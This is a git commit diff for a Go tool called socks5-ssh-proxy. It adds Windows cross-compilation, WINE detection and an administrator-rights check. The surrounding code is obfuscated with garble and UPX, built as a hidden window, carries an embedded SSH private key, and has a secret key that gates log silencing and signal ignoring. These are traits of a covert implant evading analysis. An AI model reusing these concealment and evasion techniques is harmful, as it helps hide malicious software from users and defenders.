Initial work on wine_get_version ntdll.dll call, need to get the string from return
This commit is contained in:
parent
3582461888
commit
729b0877df
|
|
@ -35,7 +35,9 @@ builds:
|
||||||
|
|
||||||
- id: "win-release"
|
- id: "win-release"
|
||||||
env:
|
env:
|
||||||
- CGO_ENABLED=0
|
- CGO_ENABLED=1
|
||||||
|
- CC=x86_64-w64-mingw32-gcc
|
||||||
|
- CXX=x86_64-w64-mingw32-g++
|
||||||
goos:
|
goos:
|
||||||
- windows
|
- windows
|
||||||
goarch:
|
goarch:
|
||||||
|
|
|
||||||
6
Makefile
6
Makefile
|
|
@ -1,7 +1,6 @@
|
||||||
SOURCES=Makefile main.go main_release.go main_debug.go config.go config_release.go config_template.go system.go
|
SOURCES=Makefile main.go main_release.go main_debug.go config.go config_release.go config_template.go system.go system_windows.go system_unix.go
|
||||||
GARBLE_BIN = $(shell go env GOPATH)/bin/garble
|
GARBLE_BIN = $(shell go env GOPATH)/bin/garble
|
||||||
GARBLE_CMD = $(GARBLE_BIN) -literals -tiny
|
GARBLE_CMD = $(GARBLE_BIN) -literals -tiny
|
||||||
RELEASE_VERBOSE_MODE_KEY ?= ""
|
|
||||||
|
|
||||||
all: socks5-ssh-proxy
|
all: socks5-ssh-proxy
|
||||||
|
|
||||||
|
|
@ -21,7 +20,8 @@ socks5-ssh-proxy.release: resources $(SOURCES) $(GARBLE_BIN)
|
||||||
upx $@
|
upx $@
|
||||||
win: socks5-ssh-proxy.exe
|
win: socks5-ssh-proxy.exe
|
||||||
socks5-ssh-proxy.exe: resources $(GARBLE_BIN) $(SOURCES)
|
socks5-ssh-proxy.exe: resources $(GARBLE_BIN) $(SOURCES)
|
||||||
GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags "-H=windowsgui -X cfg.VerboseModeKey=$(RELEASE_VERBOSE_MODE_KEY)" -tags release -o $@
|
# CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags "-H=windowsgui -X cfg.VerboseModeKey=$(RELEASE_VERBOSE_MODE_KEY)" -tags release -o $@
|
||||||
|
CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags "-H=windowsgui" -tags release -o $@
|
||||||
upx $@
|
upx $@
|
||||||
go run cmd/upx-obfuscator/main.go $@
|
go run cmd/upx-obfuscator/main.go $@
|
||||||
goreleaser: resources $(GARBLE_BIN)
|
goreleaser: resources $(GARBLE_BIN)
|
||||||
|
|
|
||||||
1
main.go
1
main.go
|
|
@ -142,5 +142,6 @@ func main() {
|
||||||
func mainLoop() {
|
func mainLoop() {
|
||||||
for {
|
for {
|
||||||
// TODO handle CTRL+C in debug and release + VMK modes
|
// TODO handle CTRL+C in debug and release + VMK modes
|
||||||
|
time.Sleep(time.Minute)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -14,7 +14,7 @@ var resourceSSHPrivateKey string
|
||||||
func init() {
|
func init() {
|
||||||
dontSilenceKey := os.Getenv("VMK")
|
dontSilenceKey := os.Getenv("VMK")
|
||||||
if dontSilenceKey != cfg.VerboseModeKey {
|
if dontSilenceKey != cfg.VerboseModeKey {
|
||||||
systemRouteAllLogging(os.DevNull)
|
// systemRouteAllLogging(os.DevNull)
|
||||||
systemIgnoreAllSignals()
|
// systemIgnoreAllSignals()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -0,0 +1,4 @@
|
||||||
|
#!/bin/sh
|
||||||
|
export VMK="ShowMeTheMoney"
|
||||||
|
wine64 wineconsole &
|
||||||
|
wine64 /Users/jerry/src/github.com/xor-gate/go-socks5-ssh-proxy/socks5-ssh-proxy.exe
|
||||||
|
|
@ -156,6 +156,10 @@ func systemIgnoreAllSignals() {
|
||||||
}
|
}
|
||||||
|
|
||||||
func systemOSDetect() {
|
func systemOSDetect() {
|
||||||
|
wineVersion := systemGetWINEVersion()
|
||||||
|
log.Println("WINE version", wineVersion)
|
||||||
|
log.Println("IsUserRoot", systemIsUserRoot())
|
||||||
|
|
||||||
wineOSFiles := systemGetWellKnownWINEOSFiles()
|
wineOSFiles := systemGetWellKnownWINEOSFiles()
|
||||||
if len(wineOSFiles) != 0 {
|
if len(wineOSFiles) != 0 {
|
||||||
log.Println("WINE detected")
|
log.Println("WINE detected")
|
||||||
|
|
|
||||||
|
|
@ -0,0 +1,14 @@
|
||||||
|
//go:build !windows
|
||||||
|
// +build !windows
|
||||||
|
|
||||||
|
//
|
||||||
|
package main
|
||||||
|
|
||||||
|
func systemGetWINEVersion() string {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
func systemIsUserRoot() bool {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
@ -0,0 +1,41 @@
|
||||||
|
//go:build windows
|
||||||
|
// +build windows
|
||||||
|
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"C"
|
||||||
|
"golang.org/x/sys/windows"
|
||||||
|
"log"
|
||||||
|
"os"
|
||||||
|
"unsafe"
|
||||||
|
)
|
||||||
|
|
||||||
|
func systemGetWINEVersion() string {
|
||||||
|
ntdll := windows.NewLazyDLL("ntdll.dll")
|
||||||
|
wineGetVersionFunc := ntdll.NewProc("wine_get_version")
|
||||||
|
|
||||||
|
err := wineGetVersionFunc.Find()
|
||||||
|
if err != nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
r1, r2, r3 := wineGetVersionFunc.Call()
|
||||||
|
|
||||||
|
log.Println("r1", r1)
|
||||||
|
log.Println("r2", r2)
|
||||||
|
log.Println("r3", r3)
|
||||||
|
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
func systemIsUserRoot() bool {
|
||||||
|
root := true
|
||||||
|
|
||||||
|
_, err := os.Open("\\\\.\\PHYSICALDRIVE0")
|
||||||
|
if err != nil {
|
||||||
|
root = false
|
||||||
|
}
|
||||||
|
|
||||||
|
return root
|
||||||
|
}
|
||||||
Loading…
Reference in New Issue